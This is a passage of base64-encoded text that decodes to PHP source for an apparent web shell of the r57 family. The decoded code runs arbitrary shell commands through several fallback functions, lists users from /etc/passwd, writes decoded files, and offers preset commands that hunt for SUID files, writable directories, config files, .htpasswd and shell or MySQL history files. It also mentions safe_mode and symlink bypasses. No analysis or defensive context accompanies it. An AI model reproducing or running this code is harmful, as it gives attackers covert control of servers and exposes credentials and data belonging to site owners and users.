0gbmFtZScsCidhcl90ZXh0MjE3Jz0+J3NlcnZlcicsCidhcl90ZXh0MjE4Jz0+J3dyaXRlIGluaS5waHAgZmlsZSB0byBjbG9zZSBzYWZlX21vZGUgd2l0aCBpbmlfcmVzdG9yZSB2dWwnLAonYXJfdGV4dDIxOSc9PidHZXQgZmlsZSB0byBzZXJ2ZXIgaW4gc2FmZV9tb2RlIGFuZCBjaGFuZ2UgbmFtZScsCidhcl90ZXh0MjIwJz0+J3Nob3cgZmlsZSB3aXRoIHN5bWxpbmsgdnVsJywKJ2FyX3RleHQyMjEnPT4nemlwIGZpbGUgaW4gc2VydmVyIHRvIGRvd25sb2FkJywKJ2FyX3RleHQyMjInPT4nMiBzeW1saW5rIHVzZSB2dWwnLAonYXJfdGV4dDIyMyc9PidyZWFkIGZpbGUgZnJvbSBmdW5jdXRpb24nLAonYXJfdGV4dDIyNCc9PidyZWFkIGZpbGUgZnJvbSBQTFVHSU4gJywKKTsKLyoKPz8/Pz8/ID8/Pz8/Pwo/Pz8/Pz8/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8gPyA/Pz8tPz8gPz8/Pz8/LiAoID8/Pz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8gPz8/Pz8/Pz8/ID8/Pz8gKQo/PyA/Pz8/Pz8gPz8/PyA/Pz8/Pz8/Pz8gPz8/ID8/Pz8/Pz8/ID8/Pz8/Pz8uCiovCiRhbGlhc2VzPWFycmF5KAonU2VhcmNoIGZvciBmaWxlcyBzdWlkJz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMnLAonU2VhcmNoIGZvciBmaWxlcyBzdWlkICBWb2x1bWUgY3VycmVudCc9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJywKJ1NlYXJjaCBmb3IgZmlsZXMgc3VpZCc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJywKJ1NlYXJjaCBmb3IgZmlsZXMgc3VpZCAgVm9sdW1lIGN1cnJlbnQnPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scycsCidTZWFyY2ggZm9yIGZpbGVzIGNvbmZpZy5pbmMucGhwJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywKJ1NlYXJjaCBmb3IgZmlsZXMgY29uZmlnLmluYy5waHAgIFZvbHVtZSBjdXJyZW50Jz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywKJ1NlYXJjaCBmb3IgZmlsZXMgY29uZmlnKiBBbGwgRXh0ZW5zaW9ucyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiY29uZmlnKiInLAonU2VhcmNoIGZvciBmaWxlcyBjb25maWcqICBWb2x1bWUgY3VycmVudCc9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAiY29uZmlnKiInLAonU2VhcmNoIGZvciBmaWxlcyB0aGF0IGFyZSB3cml0aW5nJz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0yIC1scycsCidTZWFyY2ggZm9yIGZpbGVzIHRoYXQgYXJlIHdyaXRpbmcgIFZvbHVtZSBjdXJyZW50Jz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0yIC1scycsCidUaGUgc2VhcmNoIGZvciB2aWFibGUgdm9sdW1lcyBvZiB3cml0aW5nJz0+J2ZpbmQgLyAgLXR5cGUgZCAtcGVybSAtMiAtbHMnLAonVGhlIHNlYXJjaCBmb3IgdmlhYmxlIHZvbHVtZXMgb2Ygd3JpdGluZyBJbiB0aGUgcHJlc2VudCBjb3Vyc2UnPT4nZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzJywKJ1NlYXJjaCBmb3IgZmlsZXMgVGhlIHZvbHVtZXMgYXJlIHdyaXRpbmcnPT4nZmluZCAvIC1wZXJtIC0yIC1scycsCidTZWFyY2ggZm9yIGZpbGVzIFRoZSB2b2x1bWVzIEluIHRoZSBwcmVzZW50IGNvdXJzZSc9PidmaW5kIC4gLXBlcm0gLTIgLWxzJywKJ1NlYXJjaCBmb3IgZmlsZXMgc2VydmljZS5wd2QnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QnLAonU2VhcmNoIGZvciBmaWxlcyBzZXJ2aWNlLnB3ZCBJbiB0aGUgcHJlc2VudCBjb3Vyc2UnPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QnLAonU2VhcmNoIGZvciBhbGwgZmlsZXMgZmlyZXdhbGxzIC5odHBhc3N3ZCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnLAonU2VhcmNoIGZvciBhbGwgZmlsZXMgZmlyZXdhbGxzIEluIHRoZSBwcmVzZW50IGNvdXJzZSc9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnLAonVGhlIHNlYXJjaCBmb3IgYWxsIGZpbGVzIC5iYXNoX2hpc3RvcnknPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeScsCidUaGUgc2VhcmNoIGZvciBhbGwgZmlsZXMgLmJhc2hfaGlzdG9yeSBJbiB0aGUgcHJlc2VudCBjb3Vyc2UnPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeScsCidUaGUgc2VhcmNoIGZvciBhbGwgZmlsZXMgLm15c3FsX2hpc3RvcnknPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLm15c3FsX2hpc3RvcnknLAonVGhlIHNlYXJjaCBmb3IgYWxsIGZpbGVzIC5teXNxbF9oaXN0b3J5IEluIHRoZSBwcmVzZW50IGNvdXJzZSc9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAubXlzcWxfaGlzdG9yeScsCidUaGUgc2VhcmNoIGZvciBhbGwgZmlsZXMgLmZldGNobWFpbHJjJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYycsCidUaGUgc2VhcmNoIGZvciBhbGwgZmlsZXMgLmZldGNobWFpbHJjIEluIHRoZSBwcmVzZW50IGNvdXJzZSc9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMnLAonQW5vdGhlciBvcGVyYXRvciBmaWxlcyBpbiB0aGUgc3lzdGVtJz0+J2xzYXR0ciAtdmEnLAonVmlzaW9uIEFsYm9ydGF0IG9wZW4gc2VydmVyJz0+J25ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4nLAonVmlzaW9uIGNhc2Ugdm9sdW1lcyBhbmQgdGhlIHBvc3NpYmlsaXR5IG9mIGV4ZWN1dGlvbic9PidjYXQgL2V0Yy9mc3RhYicsCidXYXRjaCBmaWxlIEFsZWxsb3VrIHRvIGVudGVyIEVsc2llIEJhbmwgc2l0ZXMgc2VydmVyJz0+J2NhdCAvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZycsCidEZXRhaWxzIG9mIHRoZSBvcGVyYXRpb25zIGFyZSBub3cgd29ya2luZyBCYWxuZGhhbSc9PidwcyBhdXgnLAonQ3VycmVudGx5IHVzZXJzIGNvbm5lY3RlZCc9Pid3JywKJ090aGVyIHVzZXJzIEF0c2Fsbyc9PidsYXN0bG9nJywKJ1NjcmVlbmluZyB0b29scyBjbG91ZHMgd2dldCBjdXJsIC4uZXRjJz0+J3doaWNoIHdnZXQgY3VybCB3M20gbHlueCcsCidDaGVjayB0cmFuc2xhdGlvbiB0b29sIGdjYyc9Pidsb2NhdGUgZ2NjJywKCgoKJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nPT4nbHMgLWxhJwopOwokdGFibGVfdXAxICA9ICI8dHI+PHRkIGJnY29sb3I9IzI3MjcyNz48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyPjo6ICI7CiR0YWJsZV91cDIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+IjsKJHRhYmxlX3VwMyAgPSAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I2NjY2NjYz48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz4iOwokdGFibGVfZW5kMSA9ICI8L3RkPjwvdHI+IjsKJGFycm93ID0gIiA8Zm9udCBmYWNlPVdlYmRpbmdzIGNvbG9yPWdyYXk+NDwvZm9udD4iOwokbGIgPSAiPGZvbnQgY29sb3I9YmxhY2s+WzwvZm9udD4iOwokcmIgPSAiPGZvbnQgY29sb3I9YmxhY2s+XTwvZm9udD4iOwokZm9udCA9ICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPiI7CiR0cyA9ICI8dGFibGUgY2xhc3M9dGFibGUxIHdpZHRoPTEwMCUgYWxpZ249Y2VudGVyPiI7CiR0ZSA9ICI8L3RhYmxlPiI7CiRmcyA9ICI8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsKJGZlID0gIjwvZm9ybT4iOwoKaWYoaXNzZXQoJF9HRVRbJ3VzZXJzJ10pKQogewogaWYoISR1c2Vycz1nZXRfdXNlcnMoKSkgeyBlY2hvICI8Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTIgY29sb3I9cmVkPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvZm9udD48L2NlbnRlcj4iOyB9CiBlbHNlCiAgewogIGVjaG8gJzxjZW50ZXI+JzsKICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikgeyBlY2hvICR1c2VyLiI8YnI+IjsgfQogIGVjaG8gJzwvY2VudGVyPic7CiAgfQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsKIH0KCmlmICghZW1wdHkoJF9QT1NUWydkaXInXSkpIHsgQGNoZGlyKCRfUE9TVFsnZGlyJ10pOyB9CiRkaXIgPSBAZ2V0Y3dkKCk7CiR1bml4ID0gMDsKaWYoc3RybGVuKCRkaXIpPjEgJiYgJGRpclsxXT09IjoiKSAkdW5peD0wOyBlbHNlICR1bml4PTE7CmlmKGVtcHR5KCRkaXIpKQogewogJG9zID0gZ2V0ZW52KCdPUycpOwogaWYoZW1wdHkoJG9zKSl7ICRvcyA9IHBocF91bmFtZSgpOyB9CiBpZihlbXB0eSgkb3MpKXsgJG9zID0iLSI7ICR1bml4PTE7IH0KIGVsc2UKICAgIHsKICAgIGlmKEBlcmVnaSgiXndpbiIsJG9zKSkgeyAkdW5peCA9IDA7IH0KICAgIGVsc2UgeyAkdW5peCA9IDE7IH0KICAgIH0KIH0KaWYoIWVtcHR5KCRfUE9TVFsnc19kaXInXSkgJiYgIWVtcHR5KCRfUE9TVFsnc190ZXh0J10pICYmICFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddID09ICJzZWFyY2hfdGV4dCIpCiAgewogICAgZWNobyAkaGVhZDsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NfbWFzayddKSAmJiAhZW1wdHkoJF9QT1NUWydtJ10pKSB7ICRzciA9IG5ldyBTZWFyY2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10sJF9QT1NUWydzX21hc2snXSk7IH0KICAgIGVsc2UgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddKTsgfQogICAgJHNyLT5TZWFyY2hUZXh0KDAsMCk7CiAgICAkcmVzID0gJHNyLT5HZXRSZXN1bHRGaWxlcygpOwogICAgJGZvdW5kID0gJHNyLT5HZXRNYXRjaGVzQ291bnQoKTsKICAgICR0aXRsZXMgPSAkc3ItPkdldFRpdGxlcygpOwogICAgJHIgPSAiIjsKICAgIGlmKCRmb3VuZCA+IDApCiAgICB7CiAgICAgICRyIC49ICI8VEFCTEUgd2lkdGg9MTAwJT4iOwogICAgICBmb3JlYWNoKCRyZXMgYXMgJGZpbGU9PiR2KQogICAgICB7CiAgICAgICAgJHIgLj0gIjxUUj4iOwogICAgICAgICRyIC49ICI8VEQgY29sc3Bhbj0yPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+Ii53cygzKTsKICAgICAgICAkciAuPSAoISR1bml4KT8gc3RyX3JlcGxhY2UoIi8iLCJcXCIsJGZpbGUpIDogJGZpbGU7CiAgICAgICAgJHIgLj0gIjwvYj48L2ZvbnQ+PC8gVEQ+IjsKICAgICAgICAkciAuPSAiPC9UUj4iOwogICAgICAgIGZvcmVhY2goJHYgYXMgJGE9PiRiKQogICAgICAgIHsKICAgICAgICAgICRyIC49ICI8VFI+IjsKICAgICAgICAgICRyIC49ICI8VEQgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+Ii4kYS4iPC9mb250PjwvQj48L1REPiI7CiAgICAgICAgICAkciAuPSAiPFREPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+Ii53cygyKS4kYi4iPC9mb250PjwvVEQ+IjsKICAgICAgICAgICRyIC49ICI8L1RSPlxuIjsKICAgICAgICB9CiAgICAgIH0KICAgICAgJHIgLj0gIjwvVEFCTEU+IjsKICAgIGVjaG8gJHI7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgIGVjaG8gIjxQIGFsaWduPWNlbnRlcj48Qj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU2J10uIjwvQj48L2ZvbnQ+PC9QPiI7CiAgICB9CiAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOwogIGRpZSgpOwogIH0KaWYoISRzYWZlX21vZGUgJiYgc3RycG9zKGV4KCJlY2hvIGFiY3I1NyIpLCJyNTciKSE9MykgeyAkc2FmZV9tb2RlID0gMTsgfQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTsKaWYoZW1wdHkoJFNFUlZFUl9TT0ZUV0FSRSkpeyAkU0VSVkVSX1NPRlRXQVJFID0gIi0iOyB9CmZ1bmN0aW9uIHdzKCRpKQp7CnJldHVybiBAc3RyX3JlcGVhdCgiJm5ic3A7IiwkaSk7Cn0KZnVuY3Rpb24gZXgoJGNmZSkKewogJHJlcyA9ICcnOwogaWYgKCFlbXB0eSgkY2ZlKSkKIHsKICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkKICAgewogICAgQGV4ZWMoJGNmZSwkcmVzKTsKICAgICRyZXMgPSBqb2luKCJcbiIsJHJlcyk7CiAgIH0KICBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpCiAgIHsKICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKICAgfQogIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKQogICB7CiAgICBAb2Jfc3RhcnQoKTsKICAgIEBzeXN0ZW0oJGNmZSk7CiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgQG9iX2VuZF9jbGVhbigpOwogICB9CiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkKICAgewogICAgQG9iX3N0YXJ0KCk7CiAgICBAcGFzc3RocnUoJGNmZSk7CiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgQG9iX2VuZF9jbGVhbigpOwogICB9CiAgZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKQogIHsKICAgJHJlcyA9ICIiOwogICB3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9CiAgIEBwY2xvc2UoJGYpOwogIH0KIH0KIHJldHVybiAkcmVzOwp9CmZ1bmN0aW9uIGdldF91c2VycygpCnsKICAkdXNlcnMgPSBhcnJheSgpOwogICRyb3dzPWZpbGUoJy9ldGMvcGFzc3dkJyk7CiAgaWYoISRyb3dzKSByZXR1cm4gMDsKICBmb3JlYWNoICgkcm93cyBhcyAkc3RyaW5nKQogICB7CiAgICAgICAgICAgJHVzZXIgPSBAZXhwbG9kZSgiOiIsJHN0cmluZyk7CiAgICAgICAgICAgaWYoc3Vic3RyKCRzdHJpbmcsMCwxKSE9JyMnKSBhcnJheV9wdXNoKCR1c2VycywkdXNlclswXSk7CiAgIH0KICByZXR1cm4gJHVzZXJzOwp9CmZ1bmN0aW9uIGVycigkbiwkdHh0PScnKQp7CmVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD48dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48Zm9udCBjb2xvcj1yZWQgZmFjZT10YWhvbWEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nOwplY2hvICRHTE9CQUxTWydsYW5nJ11bJEdMT0JBTFNbJ2xhbmd1YWdlJ10uJ19lcnInLiRuXTsKaWYoIWVtcHR5KCR0eHQpKSB7IGVjaG8gIiAkdHh0IjsgfQplY2hvICc8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPic7CnJldHVybiBudWxsOwp9CmZ1bmN0aW9uIHBlcm1zKCRtb2RlKQp7CmlmICghJEdMT0JBTFNbJ3VuaXgnXSkgcmV0dXJuIDA7CmlmKCAkbW9kZSAmIDB4MTAwMCApIHsgJHR5cGU9J3AnOyB9CmVsc2UgaWYoICRtb2RlICYgMHgyMDAwICkgeyAkdHlwZT0nYyc7IH0KZWxzZSBpZiggJG1vZGUgJiAweDQwMDAgKSB7ICR0eXBlPSdkJzsgfQplbHNlIGlmKCAkbW9kZSAmIDB4NjAwMCApIHsgJHR5cGU9J2InOyB9CmVsc2UgaWYoICRtb2RlICYgMHg4MDAwICkgeyAkdHlwZT0nLSc7IH0KZWxzZSBpZiggJG1vZGUgJiAweEEwMDAgKSB7ICR0eXBlPSdsJzsgfQplbHNlIGlmKCAkbW9kZSAmIDB4QzAwMCApIHsgJHR5cGU9J3MnOyB9CmVsc2UgJHR5cGU9J3UnOwokb3duZXJbInJlYWQiXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOwokb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsKJGdyb3VwWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7CiRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsKJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7CiR3b3JsZFsicmVhZCJdID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOwokd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7CiR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOwppZiggJG1vZGUgJiAweDgwMCApICRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnOwppZiggJG1vZGUgJiAweDQwMCApICRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnOwppZiggJG1vZGUgJiAweDIwMCApICR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8gJ3QnIDogJ1QnOwokcz1zcHJpbnRmKCIlMXMiLCAkdHlwZSk7CiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkb3duZXJbJ3JlYWQnXSwgJG93bmVyWyd3cml0ZSddLCAkb3duZXJbJ2V4ZWN1dGUnXSk7CiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkZ3JvdXBbJ3JlYWQnXSwgJGdyb3VwWyd3cml0ZSddLCAkZ3JvdXBbJ2V4ZWN1dGUnXSk7CiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkd29ybGRbJ3JlYWQnXSwgJHdvcmxkWyd3cml0ZSddLCAkd29ybGRbJ2V4ZWN1dGUnXSk7CnJldHVybiB0cmltKCRzKTsKfQpmdW5jdGlvbiBpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCkKewogJHJldCA9ICI8aW5wdXQgdHlwZT0iLiR0eXBlLiIgbmFtZT0iLiRuYW1lLiIgIjsKIGlmKCRzaXplICE9IDApIHsgJHJldCAuPSAic2l6ZT0iLiRzaXplLiIgIjsgfQogJHJldCAuPSAidmFsdWU9XCIiLiR2YWx1ZS4iXCIiOwogaWYoJGNoZWNrZWQpICRyZXQgLj0gIiBjaGVja2VkIjsKIHJldHVybiAkcmV0LiI+IjsKfQpmdW5jdGlvbiB3aGljaCgkcHIpCnsKJHBhdGggPSBleCgid2hpY2ggJHByIik7CmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gJHByOyB9Cn0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KQp7CiAkd19maWxlPUBmb3BlbigkZm5hbWUsInciKSBvciBlcnIoMCk7CiBpZigkd19maWxlKQogewogQGZwdXRzKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKIEBmY2xvc2UoJHdfZmlsZSk7CiB9Cn0KZnVuY3Rpb24gc3IoJGwsJHQxLCR0MikKIHsKIHJldHVybiAiPHRyIGNsYXNzPXRyMT48dGQgY2xhc3M9dGQxIHdpZHRoPSIuJGwuIiUgYWxpZ249cmlnaHQ+Ii4kdDEuIjwvdGQ+PHRkIGNsYXNzPXRkMSBhbGlnbj1sZWZ0PiIuJHQyLiI8L3RkPjwvdHI+IjsKIH0KaWYgKCFAZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkKewpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpCnsKIGlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBHQiI7fQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQogZWxzZWlmKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gIiBLQiI7fQogZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQogcmV0dXJuICRzaXplOwp9Cn0KICBmdW5jdGlvbiBEaXJGaWxlc1IoJGRpciwkdHlwZXM9JycpCiAgewogICAgJGZpbGVzID0gQXJyYXkoKTsKICAgIGlmKCgkaGFuZGxlID0gQG9wZW5kaXIoJGRpcikpKQogICAgewogICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IEByZWFkZGlyKCRoYW5kbGUpKSkKICAgICAgewogICAgICAgIGlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikKICAgICAgICB7CiAgICAgICAgICBpZihAaXNfZGlyKCRkaXIuIi8iLiRmaWxlKSkKICAgICAgICAgICAgJGZpbGVzID0gQGFycmF5X21lcmdlKCRmaWxlcyxEaXJGaWxlc1IoJGRpci4iLyIuJGZpbGUsJHR5cGVzKSk7CiAgICAgICAgICBlbHNlCiAgICAgICAgICB7CiAgICAgICAgICAgICRwb3MgPSBAc3RycnBvcygkZmlsZSwiLiIpOwogICAgICAgICAgICAkZXh0ID0gQHN1YnN0cigkZmlsZSwkcG9zLEBzdHJsZW4oJGZpbGUpLSRwb3MpOwogICAgICAgICAgICBpZigkdHlwZXMpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICBpZihAaW5fYXJyYXkoJGV4dCxleHBsb2RlKCc7JywkdHlwZXMpKSkKICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICAgIEBjbG9zZWRpcigkaGFuZGxlKTsKICAgIH0KICAgIHJldHVybiAkZmlsZXM7CiAgfQogIGNsYXNzIFNlYXJjaFJlc3VsdAogIHsKICAgIHZhciAkdGV4dDsKICAgIHZhciAkRmlsZXNUb1NlYXJjaDsKICAgIHZhciAkUmVzdWx0RmlsZXM7CiAgICB2YXIgJEZpbGVzVG90YWw7CiAgICB2YXIgJE1hdGNoZXNDb3VudDsKICAgIHZhciAkRmlsZU1hdHNjaGVzQ291bnQ7CiAgICB2YXIgJFRpbWVTdGFydDsKICAgIHZhciAkVGltZVRvdGFsOwogICAgdmFyICR0aXRsZXM7CiAgICBmdW5jdGlvbiBTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKQogICAgewogICAgICAkZGlycyA9IEBleHBsb2RlKCI7IiwkZGlyKTsKICAgICAgJHRoaXMtPkZpbGVzVG9TZWFyY2ggPSBBcnJheSgpOwogICAgICBmb3IoJGE9MDskYTxjb3VudCgkZGlycyk7JGErKykKICAgICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEBhcnJheV9tZXJnZSgkdGhpcy0+RmlsZXNUb1NlYXJjaCxEaXJGaWxlc1IoJGRpcnNbJGFdLCRmaWx0ZXIpKTsKICAgICAgJHRoaXMtPnRleHQgPSAkdGV4dDsKICAgICAgJHRoaXMtPkZpbGVzVG90YWwgPSBAY291bnQoJHRoaXMtPkZpbGVzVG9TZWFyY2gpOwogICAgICAkdGhpcy0+VGltZVN0YXJ0ID0gZ2V0bWljcm90aW1lKCk7CiAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgPSAwOwogICAgICAkdGhpcy0+UmVzdWx0RmlsZXMgPSBBcnJheSgpOwogICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudCA9IEFycmF5KCk7CiAgICAgICR0aGlzLT50aXRsZXMgPSBBcnJheSgpOwogICAgfQogICAgZnVuY3Rpb24gR2V0RmlsZXNUb3RhbCgpIHsgcmV0dXJuICR0aGlzLT5GaWxlc1RvdGFsOyB9CiAgICBmdW5jdGlvbiBHZXRUaXRsZXMoKSB7IHJldHVybiAkdGhpcy0+dGl0bGVzOyB9CiAgICBmdW5jdGlvbiBHZXRUaW1lVG90YWwoKSB7IHJldHVybiAkdGhpcy0+VGltZVRvdGFsOyB9CiAgICBmdW5jdGlvbiBHZXRNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+TWF0Y2hlc0NvdW50OyB9CiAgICBmdW5jdGlvbiBHZXRGaWxlTWF0Y2hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQ7IH0KICAgIGZ1bmN0aW9uIEdldFJlc3VsdEZpbGVzKCkgeyByZXR1cm4gJHRoaXMtPlJlc3VsdEZpbGVzOyB9CiAgICBmdW5jdGlvbiBTZWFyY2hUZXh0KCRwaHJhc2U9MCwkY2FzZT0wKSB7CiAgICAkcXEgPSBAZXhwbG9kZSgnICcsJHRoaXMtPnRleHQpOwogICAgJGRlbGltID0gJ3wnOwogICAgICBpZigkcGhyYXNlKQogICAgICAgIGZvcmVhY2goJHFxIGFzICRrPT4kdikKICAgICAgICAgICRxcVska10gPSAnXGInLiR2LidcYic7CiAgICAgICR3b3JkcyA9ICcoJy5AaW1wbG9kZSgkZGVsaW0sJHFxKS4nKSc7CiAgICAgICRwYXR0ZXJuID0gIi8iLiR3b3Jkcy4iLyI7CiAgICAgIGlmKCEkY2FzZSkKICAgICAgICAkcGF0dGVybiAuPSAnaSc7CiAgICAgIGZvcmVhY2goJHRoaXMtPkZpbGVzVG9TZWFyY2ggYXMgJGs9PiRmaWxlbmFtZSkKICAgICAgewogICAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gPSAwOwogICAgICAgICRGaWxlU3RyaW5ncyA9IEBmaWxlKCRmaWxlbmFtZSkgb3IgQG5leHQ7CiAgICAgICAgZm9yKCRhPTA